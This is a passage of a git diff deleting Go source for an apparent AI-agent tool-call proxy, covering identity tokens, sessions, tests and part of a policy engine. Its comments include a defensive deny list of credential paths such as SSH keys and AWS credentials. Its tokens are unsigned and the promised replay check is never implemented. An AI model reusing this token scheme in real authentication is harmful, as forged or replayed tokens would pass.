-package identity
-
-import (
- "context"
- "fmt"
- "sync"
- "time"
-)
-
-// Manager handles identity token lifecycle and rotation.
-type Manager struct {
- session *Session
- config *Config
-
- // rotationTicker triggers token rotation
- rotationTicker *time.Ticker
-
- // callbacks for token events
- onTokenIssued func(*Token)
- onTokenRotated func(oldToken, newToken *Token)
-
- // stopCh signals the rotation goroutine to stop
- stopCh chan struct{}
-
- mu sync.RWMutex
-}
-
-// NewManager creates a new identity manager.
-func NewManager(agentID, policyPath string, policyData []byte, config *Config) (*Manager, error) {
- if config == nil {
- config = DefaultConfig()
- }
-
- if err := config.Validate(); err != nil {
- return nil, fmt.Errorf("invalid identity config: %w", err)
- }
-
- session, err := NewSession(agentID, policyPath, policyData, config)
- if err != nil {
- return nil, fmt.Errorf("failed to create session: %w", err)
- }
-
- return &Manager{
- session: session,
- config: config,
- stopCh: make(chan struct{}),
- }, nil
-}
-
-// Start begins the token rotation loop.
-// This should be called after the manager is created.
-func (m *Manager) Start(ctx context.Context) error {
- if !m.config.Enabled {
- return nil // Identity not enabled, nothing to do
- }
-
- // Issue initial token
- token, err := m.session.IssueToken()
- if err != nil {
- return fmt.Errorf("failed to issue initial token: %w", err)
- }
-
- if m.onTokenIssued != nil {
- m.onTokenIssued(token)
- }
-
- // Start rotation ticker
- rotationInterval := m.config.GetRotationInterval()
- m.rotationTicker = time.NewTicker(rotationInterval)
-
- go m.rotationLoop(ctx)
-
- return nil
-}
-
-// Stop stops the identity manager and releases resources.
-func (m *Manager) Stop() {
- close(m.stopCh)
- if m.rotationTicker != nil {
- m.rotationTicker.Stop()
- }
-}
-
-// rotationLoop handles automatic token rotation.
-func (m *Manager) rotationLoop(ctx context.Context) {
- for {
- select {
- case <-ctx.Done():
- return
- case <-m.stopCh:
- return
- case <-m.rotationTicker.C:
- m.rotate()
- }
- }
-}
-
-// rotate creates a new token and notifies listeners.
-func (m *Manager) rotate() {
- m.mu.Lock()
- defer m.mu.Unlock()
-
- oldToken := m.session.currentToken
-
- newToken, err := m.session.IssueToken()
- if err != nil {
- // Log error but don't crash - old token still valid
- return
- }
-
- if m.onTokenRotated != nil && oldToken != nil {
- m.onTokenRotated(oldToken, newToken)
- }
-}
-
-// GetToken returns the current valid token.
-// Issues a new token if none exists or rotation is needed.
-func (m *Manager) GetToken() (*Token, error) {
- if !m.config.Enabled {
- return nil, nil // Identity not enabled
- }
-
- return m.session.GetCurrentToken()
-}
-
-// ValidateToken validates an incoming token.
-func (m *Manager) ValidateToken(tokenStr string) *ValidationResult {
- if !m.config.Enabled {
- return &ValidationResult{Valid: true} // Identity not enabled = all valid
- }
-
- token, err := DecodeToken(tokenStr)
- if err != nil {
- return &ValidationResult{
- Valid: false,
- Error: "malformed",
- }
- }
-
- return m.session.ValidateToken(token)
-}
-
-// RequiresToken returns true if tokens are required for tool calls.
-func (m *Manager) RequiresToken() bool {
- return m.config.Enabled && m.config.RequireToken
-}
-
-// IsEnabled returns true if identity management is enabled.
-func (m *Manager) IsEnabled() bool {
- return m.config.Enabled
-}
-
-// GetSessionID returns the current session ID.
-func (m *Manager) GetSessionID() string {
- return m.session.ID
-}
-
-// GetPolicyHash returns the policy hash.
-func (m *Manager) GetPolicyHash() string {
- return m.session.PolicyHash
-}
-
-// GetStats returns manager statistics.
-func (m *Manager) GetStats() ManagerStats {
- sessionStats := m.session.GetStats()
- return ManagerStats{
- Enabled: m.config.Enabled,
- RequireToken: m.config.RequireToken,
- Session: sessionStats,
- }
-}
-
-// ManagerStats contains manager statistics.
-type ManagerStats struct {
- Enabled bool `json:"enabled"`
- RequireToken bool `json:"require_token"`
- Session SessionStats `json:"session"`
-}
-
-// OnTokenIssued sets a callback for when tokens are issued.
-func (m *Manager) OnTokenIssued(fn func(*Token)) {
- m.onTokenIssued = fn
-}
-
-// OnTokenRotated sets a callback for when tokens are rotated.
-func (m *Manager) OnTokenRotated(fn func(oldToken, newToken *Token)) {
- m.onTokenRotated = fn
-}
diff --git a/implementations/go-proxy/pkg/identity/session.go b/implementations/go-proxy/pkg/identity/session.go
deleted file mode 100644
index 59c7eb9..0000000
--- a/implementations/go-proxy/pkg/identity/session.go
+++ /dev/null
@@ -1,224 +0,0 @@
-package identity
-
-import (
- "crypto/sha256"
- "encoding/hex"
- "encoding/json"
- "fmt"
- "sync"
-
- "github.com/google/uuid"
-)
-
-// Session represents an AIP session with identity management.
-type Session struct {
- // ID is the unique session identifier (UUID v4)
- ID string
-
- // AgentID is the policy metadata.name
- AgentID string
-
- // PolicyHash is the SHA-256 hash of the canonical policy
- PolicyHash string
-
- // PolicyPath is the path to the policy file
- PolicyPath string
-
- // Config is the identity configuration
- Config *Config
-
- // currentToken is the active identity token
- currentToken *Token
-
- // seenNonces tracks nonces for replay detection
- seenNonces map[string]struct{}
-
- mu sync.RWMutex
-}
-
-// NewSession creates a new session with the given configuration.
-func NewSession(agentID, policyPath string, policyData []byte, config *Config) (*Session, error) {
- if config == nil {
- config = DefaultConfig()
- }
-
- sessionID := uuid.New().String()
- policyHash := ComputePolicyHash(policyData)
-
- return &Session{
- ID: sessionID,
- AgentID: agentID,
- PolicyHash: policyHash,
- PolicyPath: policyPath,
- Config: config,
- seenNonces: make(map[string]struct{}),
- }, nil
-}
-
-// ComputePolicyHash computes the SHA-256 hash of the policy document.
-// The policy should be in canonical JSON form for deterministic hashing.
-func ComputePolicyHash(policyData []byte) string {
- // Try to canonicalize as JSON first
- var obj interface{}
- if err := json.Unmarshal(policyData, &obj); err == nil {
- // Re-marshal with sorted keys for canonical form
- if canonical, err := json.Marshal(obj); err == nil {
- policyData = canonical
- }
- }
-
- h := sha256.Sum256(policyData)
- return hex.EncodeToString(h[:])
-}
-
-// IssueToken generates a new identity token for this session.
-func (s *Session) IssueToken() (*Token, error) {
- s.mu.Lock()
- defer s.mu.Unlock()
-
- binding := CreateBinding(s.Config.GetSessionBinding(), s.PolicyPath)
- token, err := NewToken(
- s.AgentID,
- s.PolicyHash,
- s.ID,
- s.Config.GetTokenTTL(),
- binding,
- )
- if err != nil {
- return nil, fmt.Errorf("failed to create token: %w", err)
- }
-
- // Track the nonce for replay detection
- s.seenNonces[token.Nonce] = struct{}{}
-
- s.currentToken = token
- return token, nil
-}
-
-// GetCurrentToken returns the current token, issuing a new one if needed.
-func (s *Session) GetCurrentToken() (*Token, error) {
- s.mu.RLock()
- token := s.currentToken
- s.mu.RUnlock()
-
- if token == nil || s.ShouldRotate() {
- return s.IssueToken()
- }
-
- return token, nil
-}
-
-// ShouldRotate checks if the current token should be rotated.
-func (s *Session) ShouldRotate() bool {
- s.mu.RLock()
- defer s.mu.RUnlock()
-
- if s.currentToken == nil {
- return true
- }
-
- remaining := s.currentToken.ExpiresIn()
- rotationThreshold := s.Config.GetTokenTTL() - s.Config.GetRotationInterval()
-
- return remaining <= rotationThreshold
-}
-
-// ValidateToken validates an incoming token against this session.
-func (s *Session) ValidateToken(token *Token) *ValidationResult {
- s.mu.RLock()
- defer s.mu.RUnlock()
-
- // Check token version
- if token.Version != TokenVersion {
- return &ValidationResult{
- Valid: false,
- Error: "token_version_mismatch",
- }
- }
-
- // Check expiration
- if token.IsExpired() {
- return &ValidationResult{
- Valid: false,
- Error: "token_expired",
- }
- }
-
- // Check policy hash
- if token.PolicyHash != s.PolicyHash {
- return &ValidationResult{
- Valid: false,
- Error: "policy_changed",
- }
- }
-
- // Check session ID
- if token.SessionID != s.ID {
- return &ValidationResult{
- Valid: false,
- Error: "session_mismatch",
- }
- }
-
- // Check binding
- if !token.MatchesBinding(s.Config.GetSessionBinding(), s.PolicyPath) {
- return &ValidationResult{
- Valid: false,
- Error: "binding_mismatch",
- }
- }
-
- // Check for replay (nonce reuse)
- // Note: We only track nonces from tokens WE issued
- // For tokens from other sources, we'd need distributed nonce tracking
-
- return &ValidationResult{
- Valid: true,
- ExpiresIn: int(token.ExpiresIn().Seconds()),
- }
-}
-
-// ValidationResult contains the result of token validation.
-type ValidationResult struct {
- // Valid is true if the token passed all checks
- Valid bool `json:"valid"`
-
- // Error contains the error code if validation failed
- Error string `json:"error,omitempty"`
-
- // ExpiresIn is the number of seconds until expiration (if valid)
- ExpiresIn int `json:"expires_in,omitempty"`
-}
-
-// GetStats returns session statistics.
-func (s *Session) GetStats() SessionStats {
- s.mu.RLock()
- defer s.mu.RUnlock()
-
- stats := SessionStats{
- SessionID: s.ID,
- AgentID: s.AgentID,
- PolicyHash: s.PolicyHash,
- NonceCount: len(s.seenNonces),
- HasToken: s.currentToken != nil,
- TokenExpiry: "",
- }
-
- if s.currentToken != nil {
- stats.TokenExpiry = s.currentToken.ExpiresAt
- stats.TokenExpiresIn = int(s.currentToken.ExpiresIn().Seconds())
- }
-
- return stats
-}
-
-// SessionStats contains session statistics.
-type SessionStats struct {
- SessionID string `json:"session_id"`
- AgentID string `json:"agent_id"`
- PolicyHash string `json:"policy_hash"`
- NonceCount int `json:"nonce_count"`
- HasToken bool `json:"has_token"`
- TokenExpiry string `json:"token_expiry,omitempty"`
- TokenExpiresIn int `json:"token_expires_in,omitempty"`
-}
diff --git a/implementations/go-proxy/pkg/identity/session_test.go b/implementations/go-proxy/pkg/identity/session_test.go
deleted file mode 100644
index 67f9f79..0000000
--- a/implementations/go-proxy/pkg/identity/session_test.go
+++ /dev/null
@@ -1,185 +0,0 @@
-package identity
-
-import (
- "testing"
- "time"
-)
-
-func TestNewSession(t *testing.T) {
- policyData := []byte(`{"apiVersion": "aip.io/v1alpha2"}`)
- config := &Config{
- Enabled: true,
- TokenTTL: "5m",
- RotationInterval: "4m",
- SessionBinding: SessionBindingProcess,
- }
-
- session, err := NewSession("test-agent", "/path/policy.yaml", policyData, config)
- if err != nil {
- t.Fatalf("NewSession failed: %v", err)
- }
-
- if session.ID == "" {
- t.Error("Session ID should not be empty")
- }
- if session.AgentID != "test-agent" {
- t.Errorf("AgentID = %q, want %q", session.AgentID, "test-agent")
- }
- if session.PolicyHash == "" {
- t.Error("PolicyHash should not be empty")
- }
- if session.PolicyPath != "/path/policy.yaml" {
- t.Errorf("PolicyPath = %q, want %q", session.PolicyPath, "/path/policy.yaml")
- }
-}
-
-func TestSessionIssueToken(t *testing.T) {
- policyData := []byte(`test policy`)
- session, _ := NewSession("test", "/path", policyData, &Config{
- Enabled: true,
- TokenTTL: "5m",
- })
-
- token, err := session.IssueToken()
- if err != nil {
- t.Fatalf("IssueToken failed: %v", err)
- }
-
- if token.AgentID != session.AgentID {
- t.Errorf("Token AgentID = %q, want %q", token.AgentID, session.AgentID)
- }
- if token.SessionID != session.ID {
- t.Errorf("Token SessionID = %q, want %q", token.SessionID, session.ID)
- }
- if token.PolicyHash != session.PolicyHash {
- t.Errorf("Token PolicyHash = %q, want %q", token.PolicyHash, session.PolicyHash)
- }
-}
-
-func TestSessionValidateToken(t *testing.T) {
- policyData := []byte(`test policy`)
- session, _ := NewSession("test", "/path", policyData, &Config{
- Enabled: true,
- TokenTTL: "5m",
- SessionBinding: SessionBindingProcess,
- })
-
- token, _ := session.IssueToken()
-
- // Valid token
- result := session.ValidateToken(token)
- if !result.Valid {
- t.Errorf("Token should be valid, got error: %s", result.Error)
- }
-
- // Expired token
- expiredToken, _ := NewToken("test", session.PolicyHash, session.ID, -1*time.Second, nil)
- result = session.ValidateToken(expiredToken)
- if result.Valid {
- t.Error("Expired token should not be valid")
- }
- if result.Error != "token_expired" {
- t.Errorf("Expected error 'token_expired', got %q", result.Error)
- }
-
- // Wrong policy hash
- wrongHashToken, _ := NewToken("test", "wrong-hash", session.ID, 5*time.Minute, nil)
- result = session.ValidateToken(wrongHashToken)
- if result.Valid {
- t.Error("Token with wrong policy hash should not be valid")
- }
- if result.Error != "policy_changed" {
- t.Errorf("Expected error 'policy_changed', got %q", result.Error)
- }
-
- // Wrong session ID
- wrongSessionToken, _ := NewToken("test", session.PolicyHash, "wrong-session", 5*time.Minute, nil)
- result = session.ValidateToken(wrongSessionToken)
- if result.Valid {
- t.Error("Token with wrong session ID should not be valid")
- }
- if result.Error != "session_mismatch" {
- t.Errorf("Expected error 'session_mismatch', got %q", result.Error)
- }
-
- // Wrong version
- wrongVersionToken, _ := NewToken("test", session.PolicyHash, session.ID, 5*time.Minute, nil)
- wrongVersionToken.Version = "invalid/version"
- result = session.ValidateToken(wrongVersionToken)
- if result.Valid {
- t.Error("Token with wrong version should not be valid")
- }
- if result.Error != "token_version_mismatch" {
- t.Errorf("Expected error 'token_version_mismatch', got %q", result.Error)
- }
-}
-
-func TestSessionShouldRotate(t *testing.T) {
- policyData := []byte(`test`)
- session, _ := NewSession("test", "/path", policyData, &Config{
- Enabled: true,
- TokenTTL: "10s",
- RotationInterval: "8s",
- })
-
- // No token yet = should rotate
- if !session.ShouldRotate() {
- t.Error("Should rotate when no token exists")
- }
-
- // Issue token
- _, _ = session.IssueToken()
-
- // Fresh token = should not rotate
- if session.ShouldRotate() {
- t.Error("Should not rotate immediately after issuing token")
- }
-}
-
-func TestSessionStats(t *testing.T) {
- policyData := []byte(`test`)
- session, _ := NewSession("stats-test", "/path", policyData, &Config{
- Enabled: true,
- TokenTTL: "5m",
- })
-
- stats := session.GetStats()
- if stats.SessionID != session.ID {
- t.Errorf("Stats SessionID = %q, want %q", stats.SessionID, session.ID)
- }
- if stats.AgentID != "stats-test" {
- t.Errorf("Stats AgentID = %q, want %q", stats.AgentID, "stats-test")
- }
- if stats.HasToken {
- t.Error("Should not have token before issuing")
- }
-
- _, _ = session.IssueToken()
- stats = session.GetStats()
- if !stats.HasToken {
- t.Error("Should have token after issuing")
- }
- if stats.TokenExpiry == "" {
- t.Error("TokenExpiry should be set")
- }
-}
-
-func TestComputePolicyHash(t *testing.T) {
- // Same content = same hash
- hash1 := ComputePolicyHash([]byte(`{"key": "value"}`))
- hash2 := ComputePolicyHash([]byte(`{"key": "value"}`))
- if hash1 != hash2 {
- t.Error("Same content should produce same hash")
- }
-
- // Different content = different hash
- hash3 := ComputePolicyHash([]byte(`{"key": "different"}`))
- if hash1 == hash3 {
- t.Error("Different content should produce different hash")
- }
-
- // Hash should be hex string
- if len(hash1) != 64 {
- t.Errorf("SHA-256 hex hash should be 64 chars, got %d", len(hash1))
- }
-}
diff --git a/implementations/go-proxy/pkg/identity/token.go b/implementations/go-proxy/pkg/identity/token.go
deleted file mode 100644
index fe40518..0000000
--- a/implementations/go-proxy/pkg/identity/token.go
+++ /dev/null
@@ -1,192 +0,0 @@
-package identity
-
-import (
- "crypto/rand"
- "crypto/sha256"
- "encoding/base64"
- "encoding/hex"
- "encoding/json"
- "fmt"
- "os"
- "time"
-)
-
-// Token represents an AIP identity token.
-// This structure is compatible with the AIP v1alpha2 specification.
-type Token struct {
- // Version is the token format version (e.g., "aip/v1alpha2")
- Version string `json:"version"`
-
- // PolicyHash is the SHA-256 hash of the canonical policy document
- PolicyHash string `json:"policy_hash"`
-
- // SessionID is a UUID identifying this session
- SessionID string `json:"session_id"`
-
- // AgentID is the value of metadata.name from the policy
- AgentID string `json:"agent_id"`
-
- // IssuedAt is the token issuance time (ISO 8601)
- IssuedAt string `json:"issued_at"`
-
- // ExpiresAt is the token expiration time (ISO 8601)
- ExpiresAt string `json:"expires_at"`
-
- // Nonce is a random value for replay prevention
- Nonce string `json:"nonce"`
-
- // Binding contains session binding context
- Binding *TokenBinding `json:"binding,omitempty"`
-}
-
-// TokenBinding contains the session binding context.
-type TokenBinding struct {
- // ProcessID is the current process ID
- ProcessID int `json:"process_id,omitempty"`
-
- // PolicyPath is the path to the policy file
- PolicyPath string `json:"policy_path,omitempty"`
-
- // Hostname is the machine hostname
- Hostname string `json:"hostname,omitempty"`
-}
-
-// TokenVersion is the current token format version.
-const TokenVersion = "aip/v1alpha2"
-
-// NewToken creates a new identity token.
-func NewToken(agentID, policyHash, sessionID string, ttl time.Duration, binding *TokenBinding) (*Token, error) {
- nonce, err := generateNonce()
- if err != nil {
- return nil, fmt.Errorf("failed to generate nonce: %w", err)
- }
-
- now := time.Now().UTC()
-
- return &Token{
- Version: TokenVersion,
- PolicyHash: policyHash,
- SessionID: sessionID,
- AgentID: agentID,
- IssuedAt: now.Format(time.RFC3339),
- ExpiresAt: now.Add(ttl).Format(time.RFC3339),
- Nonce: nonce,
- Binding: binding,
- }, nil
-}
-
-// generateNonce creates a cryptographically secure random nonce.
-// Returns a 32-character hex string (16 bytes of entropy).
-func generateNonce() (string, error) {
- b := make([]byte, 16)
- if _, err := rand.Read(b); err != nil {
- return "", err
- }
- return hex.EncodeToString(b), nil
-}
-
-// IsExpired checks if the token has expired.
-func (t *Token) IsExpired() bool {
- exp, err := time.Parse(time.RFC3339, t.ExpiresAt)
- if err != nil {
- return true // Invalid expiration = expired
- }
- return time.Now().UTC().After(exp)
-}
-
-// ExpiresIn returns the duration until the token expires.
-// Returns 0 if already expired.
-func (t *Token) ExpiresIn() time.Duration {
- exp, err := time.Parse(time.RFC3339, t.ExpiresAt)
- if err != nil {
- return 0
- }
- remaining := time.Until(exp)
- if remaining < 0 {
- return 0
- }
- return remaining
-}
-
-// Encode serializes the token to a compact base64 string.
-func (t *Token) Encode() (string, error) {
- data, err := json.Marshal(t)
- if err != nil {
- return "", fmt.Errorf("failed to marshal token: %w", err)
- }
- return base64.RawURLEncoding.EncodeToString(data), nil
-}
-
-// DecodeToken decodes a base64-encoded token string.
-func DecodeToken(encoded string) (*Token, error) {
- data, err := base64.RawURLEncoding.DecodeString(encoded)
- if err != nil {
- return nil, fmt.Errorf("failed to decode token: %w", err)
- }
-
- var token Token
- if err := json.Unmarshal(data, &token); err != nil {
- return nil, fmt.Errorf("failed to unmarshal token: %w", err)
- }
-
- return &token, nil
-}
-
-// CreateBinding creates a token binding based on the binding mode.
-func CreateBinding(mode, policyPath string) *TokenBinding {
- binding := &TokenBinding{}
-
- switch mode {
- case SessionBindingProcess:
- binding.ProcessID = os.Getpid()
- case SessionBindingPolicy:
- binding.PolicyPath = policyPath
- case SessionBindingStrict:
- binding.ProcessID = os.Getpid()
- binding.PolicyPath = policyPath
- if hostname, err := os.Hostname(); err == nil {
- binding.Hostname = hostname
- }
- }
-
- return binding
-}
-
-// MatchesBinding checks if the token binding matches the current context.
-func (t *Token) MatchesBinding(mode, policyPath string) bool {
- if t.Binding == nil {
- return true // No binding = matches everything
- }
-
- switch mode {
- case SessionBindingProcess:
- return t.Binding.ProcessID == 0 || t.Binding.ProcessID == os.Getpid()
- case SessionBindingPolicy:
- return t.Binding.PolicyPath == "" || t.Binding.PolicyPath == policyPath
- case SessionBindingStrict:
- if t.Binding.ProcessID != 0 && t.Binding.ProcessID != os.Getpid() {
- return false
- }
- if t.Binding.PolicyPath != "" && t.Binding.PolicyPath != policyPath {
- return false
- }
- if t.Binding.Hostname != "" {
- if hostname, err := os.Hostname(); err == nil && t.Binding.Hostname != hostname {
- return false
- }
- }
- return true
- }
-
- return true
-}
-
-// ComputeHash computes a hash that can be used for replay detection.
-// This is derived from the nonce and session ID.
-func (t *Token) ComputeHash() string {
- h := sha256.New()
- h.Write([]byte(t.SessionID))
- h.Write([]byte(t.Nonce))
- h.Write([]byte(t.IssuedAt))
- return hex.EncodeToString(h.Sum(nil))[:16]
-}
diff --git a/implementations/go-proxy/pkg/identity/token_test.go b/implementations/go-proxy/pkg/identity/token_test.go
deleted file mode 100644
index 7d7fc8f..0000000
--- a/implementations/go-proxy/pkg/identity/token_test.go
+++ /dev/null
@@ -1,179 +0,0 @@
-package identity
-
-import (
- "testing"
- "time"
-)
-
-func TestNewToken(t *testing.T) {
- token, err := NewToken("test-agent", "abc123hash", "session-123", 5*time.Minute, nil)
- if err != nil {
- t.Fatalf("NewToken failed: %v", err)
- }
-
- if token.Version != TokenVersion {
- t.Errorf("Expected version %q, got %q", TokenVersion, token.Version)
- }
- if token.AgentID != "test-agent" {
- t.Errorf("Expected agent ID %q, got %q", "test-agent", token.AgentID)
- }
- if token.PolicyHash != "abc123hash" {
- t.Errorf("Expected policy hash %q, got %q", "abc123hash", token.PolicyHash)
- }
- if token.SessionID != "session-123" {
- t.Errorf("Expected session ID %q, got %q", "session-123", token.SessionID)
- }
- if token.Nonce == "" {
- t.Error("Expected nonce to be set")
- }
- if len(token.Nonce) != 32 {
- t.Errorf("Expected nonce length 32, got %d", len(token.Nonce))
- }
-}
-
-func TestTokenExpiration(t *testing.T) {
- // Token that expires in 1 second
- token, err := NewToken("test", "hash", "sess", 1*time.Second, nil)
- if err != nil {
- t.Fatalf("NewToken failed: %v", err)
- }
-
- if token.IsExpired() {
- t.Error("Fresh token should not be expired")
- }
-
- expiresIn := token.ExpiresIn()
- if expiresIn <= 0 || expiresIn > 1*time.Second {
- t.Errorf("ExpiresIn should be between 0 and 1s, got %v", expiresIn)
- }
-
- // Wait for expiration
- time.Sleep(1100 * time.Millisecond)
-
- if !token.IsExpired() {
- t.Error("Token should be expired after TTL")
- }
-
- if token.ExpiresIn() != 0 {
- t.Errorf("Expired token ExpiresIn should be 0, got %v", token.ExpiresIn())
- }
-}
-
-func TestTokenEncodeDecode(t *testing.T) {
- original, err := NewToken("encode-test", "hash123", "sess456", 5*time.Minute, nil)
- if err != nil {
- t.Fatalf("NewToken failed: %v", err)
- }
-
- // Encode
- encoded, err := original.Encode()
- if err != nil {
- t.Fatalf("Encode failed: %v", err)
- }
-
- if encoded == "" {
- t.Error("Encoded token should not be empty")
- }
-
- // Decode
- decoded, err := DecodeToken(encoded)
- if err != nil {
- t.Fatalf("DecodeToken failed: %v", err)
- }
-
- // Verify fields match
- if decoded.Version != original.Version {
- t.Errorf("Version mismatch: %q vs %q", decoded.Version, original.Version)
- }
- if decoded.AgentID != original.AgentID {
- t.Errorf("AgentID mismatch: %q vs %q", decoded.AgentID, original.AgentID)
- }
- if decoded.PolicyHash != original.PolicyHash {
- t.Errorf("PolicyHash mismatch: %q vs %q", decoded.PolicyHash, original.PolicyHash)
- }
- if decoded.SessionID != original.SessionID {
- t.Errorf("SessionID mismatch: %q vs %q", decoded.SessionID, original.SessionID)
- }
- if decoded.Nonce != original.Nonce {
- t.Errorf("Nonce mismatch: %q vs %q", decoded.Nonce, original.Nonce)
- }
-}
-
-func TestDecodeTokenInvalid(t *testing.T) {
- tests := []struct {
- name string
- input string
- wantErr bool
- }{
- {"empty string", "", true},
- {"invalid base64", "not-valid-base64!!!", true},
- {"valid base64 but invalid json", "bm90LWpzb24", true},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- _, err := DecodeToken(tt.input)
- if (err != nil) != tt.wantErr {
- t.Errorf("DecodeToken() error = %v, wantErr %v", err, tt.wantErr)
- }
- })
- }
-}
-
-func TestTokenBinding(t *testing.T) {
- binding := CreateBinding(SessionBindingProcess, "/path/to/policy.yaml")
-
- if binding.ProcessID == 0 {
- t.Error("Process binding should set ProcessID")
- }
-
- binding = CreateBinding(SessionBindingPolicy, "/path/to/policy.yaml")
- if binding.PolicyPath != "/path/to/policy.yaml" {
- t.Errorf("Policy binding should set PolicyPath, got %q", binding.PolicyPath)
- }
-
- binding = CreateBinding(SessionBindingStrict, "/path/to/policy.yaml")
- if binding.ProcessID == 0 {
- t.Error("Strict binding should set ProcessID")
- }
- if binding.PolicyPath != "/path/to/policy.yaml" {
- t.Error("Strict binding should set PolicyPath")
- }
-}
-
-func TestTokenMatchesBinding(t *testing.T) {
- token, _ := NewToken("test", "hash", "sess", 5*time.Minute, nil)
-
- // No binding = matches everything
- if !token.MatchesBinding(SessionBindingProcess, "/any/path") {
- t.Error("Token with no binding should match any context")
- }
-
- // Token with process binding
- token.Binding = CreateBinding(SessionBindingProcess, "/test/policy.yaml")
- if !token.MatchesBinding(SessionBindingProcess, "/test/policy.yaml") {
- t.Error("Token should match its own process")
- }
-}
-
-func TestTokenComputeHash(t *testing.T) {
- token1, _ := NewToken("test", "hash", "sess", 5*time.Minute, nil)
- token2, _ := NewToken("test", "hash", "sess", 5*time.Minute, nil)
-
- hash1 := token1.ComputeHash()
- hash2 := token2.ComputeHash()
-
- if hash1 == "" {
- t.Error("Hash should not be empty")
- }
-
- // Different tokens should have different hashes (different nonces)
- if hash1 == hash2 {
- t.Error("Different tokens should have different hashes")
- }
-
- // Same token should always have same hash
- if token1.ComputeHash() != hash1 {
- t.Error("Same token should produce same hash")
- }
-}
diff --git a/implementations/go-proxy/pkg/policy/engine.go b/implementations/go-proxy/pkg/policy/engine.go
deleted file mode 100644
index 945ab03..0000000
--- a/implementations/go-proxy/pkg/policy/engine.go
+++ /dev/null
@@ -1,1334 +0,0 @@
-// Package policy implements the AIP policy engine for tool call authorization.
-//
-// The policy engine is the core security primitive of AIP. It evaluates every
-// tool call against a declarative manifest (agent.yaml) and returns an allow/deny
-// decision. This package provides a minimal MVP implementation that supports
-// simple allow-list based authorization.
-//
-// Future versions will support:
-// - Deny lists and explicit deny rules
-// - Argument-level constraints (e.g., "only SELECT queries")
-// - Pattern matching (e.g., "github_*" allows all GitHub tools)
-// - Rate limiting enforcement
-// - CEL/Rego expressions for complex policies
-package policy
-
-import (
- "encoding/json"
- "fmt"
- "os"
- "path/filepath"
- "regexp"
- "strconv"
- "strings"
- "sync"
-
- "golang.org/x/time/rate"
- "gopkg.in/yaml.v3"
-)
-
-// -----------------------------------------------------------------------------
-// Policy Configuration Types
-// -----------------------------------------------------------------------------
-
-// AgentPolicy represents the parsed agent.yaml manifest.
-//
-// This struct maps to the policy file that defines what an agent is allowed
-// to do. In the MVP, we focus on the allowed_tools list for basic tool-level
-// authorization.
-//
-// Example agent.yaml:
-//
-// apiVersion: aip.io/v1alpha1
-// kind: AgentPolicy
-// metadata:
-// name: code-review-agent
-// spec:
-// allowed_tools:
-// - github_get_repo
-// - github_list_pulls
-// - github_create_review
-type AgentPolicy struct {
- // APIVersion identifies the policy schema version.
- // Current version: aip.io/v1alpha1
- APIVersion string `yaml:"apiVersion"`
-
- // Kind must be "AgentPolicy" for this struct.
- Kind string `yaml:"kind"`
-
- // Metadata contains identifying information about the policy.
- Metadata PolicyMetadata `yaml:"metadata"`
-
- // Spec contains the actual policy rules.
- Spec PolicySpec `yaml:"spec"`
-}
-
-// PolicyMetadata contains identifying information about the policy.
-type PolicyMetadata struct {
- // Name is a human-readable identifier for the agent.
- Name string `yaml:"name"`
-
- // Version is the semantic version of this policy.
- Version string `yaml:"version,omitempty"`
-
- // Owner is the team/person responsible for this policy.
- Owner string `yaml:"owner,omitempty"`
-
- // Signature is the cryptographic signature for policy integrity (v1alpha2).
- // Format: ":"
- Signature string `yaml:"signature,omitempty"`
-}
-
-// PolicySpec contains the actual authorization rules.
-type PolicySpec struct {
- // AllowedTools is a list of tool names that the agent may invoke.
- // If a tool is not in this list, it will be blocked.
- // Supports exact matches only in MVP; patterns in future versions.
- AllowedTools []string `yaml:"allowed_tools"`
-
- // ToolRules defines granular argument-level validation for specific tools.
- // Each rule specifies regex patterns that arguments must match.
- // If a tool has a rule here, its arguments are validated; if not, only
- // tool-level allow/deny applies.
- ToolRules []ToolRule `yaml:"tool_rules,omitempty"`
-
- // DeniedTools is a list of tools that are explicitly forbidden.
- // Takes precedence over AllowedTools (deny wins).
- // Supports glob patterns: "github_*" denies all GitHub tools.
- DeniedTools []string `yaml:"denied_tools,omitempty"`
-
- // AllowedMethods specifies which JSON-RPC methods are permitted.
- // This is the FIRST line of defense - checked before tool-level policy.
- //
- // If empty, defaults to safe methods: tools/call, tools/list, initialize,
- // initialized, ping, notifications/*, completion/complete.
- //
- // SECURITY: Methods like "resources/read", "resources/list", "prompts/get"
- // are NOT in the default allowlist. If your MCP server needs them, you must
- // explicitly add them here.
- //
- // Use "*" to allow all methods (NOT RECOMMENDED for production).
- AllowedMethods []string `yaml:"allowed_methods,omitempty"`
-
- // DeniedMethods explicitly blocks specific JSON-RPC methods.
- // Takes precedence over AllowedMethods (deny wins).
- // Useful for blocking specific methods while allowing most others.
- DeniedMethods []string `yaml:"denied_methods,omitempty"`
-
- // StrictArgsDefault sets the default strict_args value for all tool rules.
- // When true, tools reject any arguments not declared in allow_args.
- // Individual tool rules can override this with their own strict_args setting.
- // Default: false (lenient mode for backward compatibility)
- StrictArgsDefault bool `yaml:"strict_args_default,omitempty"`
-
- // ProtectedPaths is a list of file paths that tools may not read, write, or modify.
- // Any tool argument containing a protected path will be blocked.
- //
- // The policy file itself is ALWAYS protected (added automatically).
- // Use this to protect additional sensitive files like:
- // - Configuration files
- // - SSH keys (~/.ssh/*)
- // - Environment files (.env)
- // - Credentials
- //
- // Example:
- // protected_paths:
- // - ~/.ssh
- // - ~/.aws/credentials
- // - .env
- ProtectedPaths []string `yaml:"protected_paths,omitempty"`
-
- // Mode controls policy enforcement behavior.
- // Values:
- // - "enforce" (default): Violations are blocked, error returned to client
- // - "monitor": Violations are logged but allowed through (dry run mode)
- //
- // Monitor mode is useful for:
- // - Testing new policies before enforcement
- // - Understanding agent behavior in production
- // - Gradual policy rollout
- Mode string `yaml:"mode,omitempty"`
-
- // DLP (Data Loss Prevention) configuration for output redaction.
- // When enabled, the proxy scans downstream responses from the tool
- // and redacts sensitive information (PII, API keys, secrets) before
- // forwarding to the client.
- DLP *DLPConfig `yaml:"dlp,omitempty"`
-
- // Identity configures agent identity tokens and session management (v1alpha2).
- Identity *IdentityConfig `yaml:"identity,omitempty"`
-
- // Server configures HTTP endpoints for server-side validation (v1alpha2).
- Server *ServerConfig `yaml:"server,omitempty"`
-}
-
-// IdentityConfig holds the identity configuration for v1alpha2.
-// Maps to spec.identity in the policy YAML.
-type IdentityConfig struct {
- // Enabled controls whether identity token generation is active.
- Enabled bool `yaml:"enabled,omitempty"`
-
- // TokenTTL is the time-to-live for identity tokens.
- // Format: Go duration string (e.g., "5m", "1h", "300s")
